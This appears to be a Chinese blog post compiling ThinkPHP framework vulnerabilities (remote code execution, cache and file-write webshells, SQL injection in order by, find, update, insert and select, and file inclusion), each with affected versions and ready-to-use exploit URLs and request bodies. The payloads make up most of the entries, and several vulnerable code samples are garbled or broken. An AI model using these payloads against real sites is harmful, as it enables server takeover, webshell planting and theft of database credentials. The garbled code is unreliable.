• [框架漏洞]Thinkphp系列漏洞【截至2020-07-20】


    一、Thinkphp

    ThinkPHP是一个快速、兼容而且简单的轻量级国产PHP开发框架,因为受到众多开发人员的喜爱,其在市场的应用规模很大,自然也引起了众多安全人员的注意。因此在这里,对相关漏洞进行归纳和总结。

    指纹为:X-Powered-By: ThinkPHP

    二、安全漏洞

    1.ThinkPHP 5.0.23远程代码执行

    参考:http://zone.secevery.com/article/1165

    • 介绍:Thinkphp在实现框架中的核心类Request的method方法实现了表单请求伪装。但由于对$_POST[‘_method’]属性校验不严格,导致攻击者可以通过变量覆盖掉Request类的属性并结合框架特性实现对任意函数的调用,从而实现远程代码执行。
    • 影响版本:THINKPHP 5.0.x-5.0.23
    • 漏洞产生位置:ThinkPHPRequest 类的 method 方法中 (thinkphp/library/think/Request.php)
    • 挖掘方式
    1.  
      Method:POST
    2.  
      url中设置参数s=captcha
    3.  
      body数据:_method=__construct&filter=system&method=get&server[REQUEST_METHOD]=whoami

    2.ThinkPHP 5.0.22远程代码执行

    参考:http://zone.secevery.com/article/1165

    • 介绍:Thinkphp5.x版本(5.0.20)中没有对路由中的控制器进行严格过滤,在存在admin、index模块、没有开启强制路由的条件下(默认不开启),导致可以注入恶意代码利用反射类调用命名空间其他任意内置类,完成远程代码执行
    • 影响版本:THINKPHP 5.0.5-5.0.22 、THINKPHP 5.1.0-5.1.30
    • 漏洞分析:参考https://www.secpulse.com/archives/93903.html即可
    • 挖掘方式
    1.  
      1.命令执行
    2.  
      ?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1]=whoami
    3.  
       
    4.  
      2.代码执行
    5.  
      ?s=/Index/ hinkapp/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1]=-1
    6.  
       
    7.  
      3.写入文件
    8.  
      ?s=/index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell1.php&vars[1][]=<?php phpinfo();?>

    3.ThinkPHP 2.2任意代码执行

    参考:http://zone.secevery.com/article/1165

    • 影响版本:THINKPHP 2.x-2.2
    • 挖掘方式
    1.  
      /module/action/param1/${phpinfo()}
    2.  
      /module/action/param1/${eval($_POST[1])}
    3.  
      ?s=/abc/abc/abc/${THINK_VERSION}
    4.  
      ?s=/abc/abc/abc/${eval($_POST[1])}

    4.ThinkPHP 前台缓存写shell

    参考:https://www.cnblogs.com/-chenxs/p/12593865.html

    利用条件:

    1. 开启缓存功能;
    2. 能够猜解出缓存文件名(文件名生成有一定规律)
    3. 缓存内容可控或部分可控,即找到写入的位置(一般与数据库交互的地方)

    影响版本:ThinkPHP3.2.3-5.0.10

    挖掘方式:主要分为数据交互写入恶意php语句,触发缓存数据,访问缓存文件三步。

    tp3.2.3:

    • 找到与数据库交互的地方,一般是提交post数据的地方,写入任意php语句如%0d%0aphpinfo();//
    • 缓存文件路径:/Application/Runtime/Temp
    • 可能缓存文件名:b068931cc450442b63f5b3d276ea4297.php

    onethink1.0:

    • thinkphp3开发
    • 缓存文件路径:/Runtime/Temp/
    • 默认缓存文件名:2bb202459c30a1628513f40ab22fa01a.php

    tp5.0.10:

    • 缓存文件路径:/runtime/cache
    • 如果可能规则命名的md5值:b068931cc450442b63f5b3d276ea4297,那么缓存文件名为:/runtime/cache/b0/68931cc450442b63f5b3d276ea4297.php
    • 写入的php语句开头需要换行,结尾需要注释掉后面的垃圾数据:换行利用url编码%0d%0a或者%0a,注释用 //。例如写入phpinfo(); 那么应该为:%0d%0aphpinfo();//

    5.ThinkPHP 3.2.3/5.1.22 order by注入

    漏洞介绍:
    该漏洞是因为未正确处理所接收数组类型参数的key,直接拼接到了SQL语句的order by后面,导致漏洞的产生。该漏洞可以获取数据库数据,比如用户账号密码,管理后台账号密码,交易数据等。漏洞危害为高危。
     
    影响版本
    5.1.16<=ThinkPHP<=5.1.22,<=3.2.3
     
    漏洞分析参考:
    https://nosec.org/home/detail/1821.html
     
    漏洞复现(内网环境)
    在/application/index/controller/文件夹下建立Index.php文件,内容如下:

    1.  
      <?php
    2.  
      namespace appindexcontroller;
    3.  
      class Index{
    4.  
      public function index() {
    5.  
      $data=array();
    6.  
      $data['username']=array('eq','admin');
    7.  
      $order=input('get.orderby/a');
    8.  
      $m=db('user')->where($data)->order($order)->find();
    9.  
      Sdump($m);
    10.  
      }
    11.  
      }
    12.  
      ?>


    访问192.168.10.53,选择对应版本
     
    Poc/exp:
    3.2.3

    ?order[updatexml(1,concat(0x3a,user()),1)]=1            


    5.1.22 

    ?orderby[id`|updatexml(1,concat(0x3a,user()),1)%23]=1

    图片7.png



    6.Thinkphp3.2.3 find/select/delete注入

    影响版本
    Thinkphp<=3.2.3

    漏洞分析参考:
    https://www.anquanke.com/post/id/157817
     
    漏洞复现(内网环境)
    在ApplicationHomeControllerIndexController.class.php 添加以下代码:

    1.  
      <?php
    2.  
      public function test()
    3.  
      {
    4.  
      $id = i('id');
    5.  
      $res = M('user')‐>find($id);
    6.  
      //find() //$res = M('user')‐>delete($id); //delete()
    7.  
      //$res = M('user')‐>select($id); //select()
    8.  
      }


    Poc/exp:
    针对select() 和find()方法 ,有很多地方可注,这里主要列举三个table,alias, where,更多还请自行跟踪一下parseSql的各个parseXXX方法,目测都是可行 的,比如having,group等。
    where: 

    http://192.168.10.53/web/3.2.3/index.php?m=Home&c=Index&a=test&id[table]=user%20where%201%20and%20updatexml(1,concat x7e,user(),0x7e),1)‐‐

    alias: 

    http://192.168.10.53/web/3.2.3/index.php?m=Home&c=Index&a=test&id[alias]=where%201%20and%20updatexml(1,concat(0x7e,u ser(),0x7e),1)‐‐

    table:

    http://192.168.10.53/web/3.2.3/index.php?m=Home&c=Index&a=test&id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x 7e),1)‐‐

    图片8.png



    而delete()方法的话同样,这里粗略举三个例子,table,alias,where,但使用table和alias的时候,同时还必须保证where不为空

    where: 

    http://192.168.10.53/web/3.2.3/index.php?m=Home&c=Index&a=test&id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x 7e),1)‐‐

    alias: 

    http://192.168.10.53/web/3.2.3/index.php?m=Home&c=Index&a=test&id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x 7e),1)‐‐

    table: 

    http://192.168.10.53/web/3.2.3/index.php?m=Home&c=Index&a=test&id[table]=user%20where%201%20and%20updatexml(1,concat x7e,user(),0x7e),1)‐‐&id[where]=1

    图片9.png


     
    7.ThinkPHP框架3.2.3 update注入漏洞

    影响版本
    Thinkphp<=3.2.3
     
    漏洞分析参考:
    https://www.seebug.org/vuldb/ssvid-97234
     
    漏洞复现(内网环境)
    在Application/Home/Controller/UserController.class.php添加以下代码:

    1.  
      <?php
    2.  
       
    3.  
      namespace HomeController;
    4.  
      use ThinkController;
    5.  
       
    6.  
      class UserController extends Controller {
    7.  
       
    8.  
      public function index(){
    9.  
       
    10.  
      $User = M("user");
    11.  
      $user['id'] = I('id');
    12.  
      $data['name'] = I('name');
    13.  
      $data['pass'] = I('pass');
    14.  
      $valu = $User->where($user)->save($data);
    15.  
      var_dump($valu);
    16.  
      }
    17.  
      }
    18.  
       
    19.  
       
    20.  
       


    Poc/exp:

    /index.php/home/user?name=1123&pass=liao&id[0]=bind&id[1]=0%20and%20(updatexml(1,concat(0x7e,(select%20user()),0x7e),1))

    图片10.png

    8.ThinkPHP 5.1.7 update注入

    漏洞介绍
    本次漏洞存在于 Mysql 类的 parseArrayData 方法中由于程序没有对数据进行很好的过滤,将数据拼接进 SQL 语句,导致 SQL注入漏洞 的产生。
     
    影响版本
    5.1.6<=Thinkphp<=5.1.7(非最新的 5.1.8 版本也可利用)
     
    漏洞分析参考:
    https://www.freebuf.com/column/206233.html
     
    漏洞复现(内网环境)
    在 hinkphpapplicationindexcontrollerIndex.php添加以下代码:

    1.  
      class index
    2.  
      {
    3.  
      public function indx()
    4.  
      {
    5.  
      $password=input('get.pass/a');
    6.  
      db('user')->where(['id'=>1]->update(['pass'=>&password]));
    7.  
      }
    8.  
      }


    Poc/exp:

    /index.php?pass[0]=inc&pass[1]=updatexml(2,concat(0x7e,user()),0)&pass[2]=1

    图片11.png


     
    9.ThinkPHP 5.0.15 insert注入

    漏洞介绍
    本次漏洞存在于 Builder 类的 parseData 方法中。由于程序没有对数据进行很好的过滤,将数据拼接进 SQL 语句,导致 SQL注入漏洞 的产生。
     
    影响版本
    5.0.13<Thinkphp<=5.0.15,5.1.0<=thinkphp<=5.1.5
     
    漏洞分析参考:
    https://www.freebuf.com/column/205976.html
     
    漏洞复现(内网环境)
    在 hinkphpapplicationindexcontrollerIndex.php添加以下代码:

    1.  
      class Index
    2.  
      {
    3.  
      public function index()
    4.  
      {
    5.  
      $username = request()->get('name/a');
    6.  
      db('user')->insert(['name' => $name]);
    7.  
      return 'Update success';
    8.  
      }
    9.  
      }


     Poc/exp:

    /index/index/index?name[0]=inc&name[1]=updatexml(1,concat(0x7,user(),0x7e),1)&name[2]=1

    图片12.png


     
    10.ThinkPHP5 select注入

    漏洞介绍
    本次漏洞存在于 Mysql 类的 parseWhereItem 方法中。由于程序没有对数据进行很好的过滤,将数据拼接进 SQL 语句,导致 SQL注入漏洞 的产生。
     
    影响版本
    ThinkPHP5全版本
     
    漏洞分析参考:
    https://www.freebuf.com/column/206387.html
     
    漏洞复现(内网环境)
    在 hinkphpapplicationindexcontrollerIndex.php添加以下代码:

    1.  
      class Index
    2.  
      {
    3.  
      public function index()
    4.  
      {
    5.  
      $name = request()->get('name');
    6.  
      $result = db('user')->where('name','exp',$name)->select();
    7.  
      return 'select success';
    8.  
      }
    9.  
      }


     Poc/exp:

    /index/index/index?name=) union select updatexml(1,concat(0x7,user(),0x7e),1)#

    图片13.png


     
    11.ThinkPHP5.0.10 select注入

    漏洞介绍
    本次漏洞存在于 Mysql 类的 parseWhereItem 方法中。由于程序没有对数据进行很好的过滤,直接将数据拼接进 SQL 语句。再一个, Request 类的 filterValue 方法漏过滤 NOT LIKE 关键字,最终导致 SQL注入漏洞 的产生。
     
    影响版本
    ThinkPHP 5.0.10
     
    漏洞分析参考:
    https://www.freebuf.com/column/206599.html
     
    漏洞复现(内网环境)
    在 hinkphpapplicationindexcontrollerIndex.php添加以下代码:

    1.  
      class Index
    2.  
      {
    3.  
      public function index()
    4.  
      {
    5.  
      $username = request()->get('name/a');
    6.  
      $result = db('user')->where(['name' => $name])->select();
    7.  
      var_dump($result);
    8.  
      }
    9.  
      }


    Poc/exp:

    /index/index/index?name[0]=not like&name[1][0]=%%&name[1][1]=233&name[2]=) union select 1,user()#

    图片14.png


     
    12.ThinkPHP Mysql 聚合函数相关方法注入

    漏洞介绍
    本次漏洞存在于所有 Mysql 聚合函数相关方法。由于程序没有对数据进行很好的过滤,直接将数据拼接进 SQL 语句,最终导致 SQL注入漏洞 的产生。
     
    影响版本 
    5.0.0<=ThinkPHP<=5.0.21 、 5.1.3<=ThinkPHP5<=5.1.25 。
     
    漏洞分析参考:
    https://www.freebuf.com/column/206599.html
     
    漏洞复现(内网环境)
    在 hinkphpapplicationindexcontrollerIndex.php添加以下代码:

    1.  
      class Index
    2.  
      {
    3.  
      public function index()
    4.  
      {
    5.  
      $options = request()->get('options');
    6.  
      $result = db('user')->max($options);
    7.  
      var_dump($result);
    8.  
      }
    9.  
      }


    Poc/exp:
    不同版本payload需稍作调整
    5.0.0~5.0.21 、 5.1.3~5.1.10:

    /index/index/index?options=id)%2bupdatexml(1,concat(0x7,user(),0x7e),1) from user%23

    5.1.11~5.1.25:

    1.  
      /index/index/index?options=id)%2bupdatexml(1,concat(0×7,user(),0x7e),1) from user%23`
    2.  
       
    3.  
      13.ThinkPHP5文件包含漏洞

    漏洞介绍
    本次漏洞存在于ThinkPHP模板引擎中,在加载模版解析变量时存在变量覆盖问题,而且程序没有对数据进行很好的过滤,最终导致文件包含漏洞的产生。
     
    影响版本 
    5.0.0<=ThinkPHP5<=5.0.18、5.1.0<=ThinkPHP<=5.1.10
     
    漏洞分析参考:
    https://www.freebuf.com/column/207878.html
     
    漏洞复现(内网环境)
    在 hinkphpapplicationindexcontrollerIndex.php添加以下代码:

    1.  
      class Index
    2.  
      {
    3.  
      public function index()
    4.  
      {
    5.  
      $this->assign(request()->get());
    6.  
      return $this->fetch(); // 当前模块/默认视图目录/当前控制器(小写)/当前操作(小写).html
    7.  
      }
    8.  
      }

    创建application/index/view/index/index.html文件,内容随意(没有这个模板文件的话,在渲染时程序会报错),并将图片马1.jpg放至public 目录下(模拟上传图片操作)。
     
    Poc/exp:

    /index.php/index/index/index?cacheFile=1.jpg
  • 相关阅读:
    sharepoint email
    After delete Trigger throw error:The row value(s) updated or deleted either do not make the row unique or they alter multiple rows (2 rows).
    ios 开发书籍
    NES 指令
    nes相关开发资料
    nes相关开发资料
    怎样写模拟器
    Zope简介
    C#中new和override区别
    NES 指令
  • 原文地址:https://www.cnblogs.com/sulongniao/p/13920697.html
Copyright © 2020-2023  润新知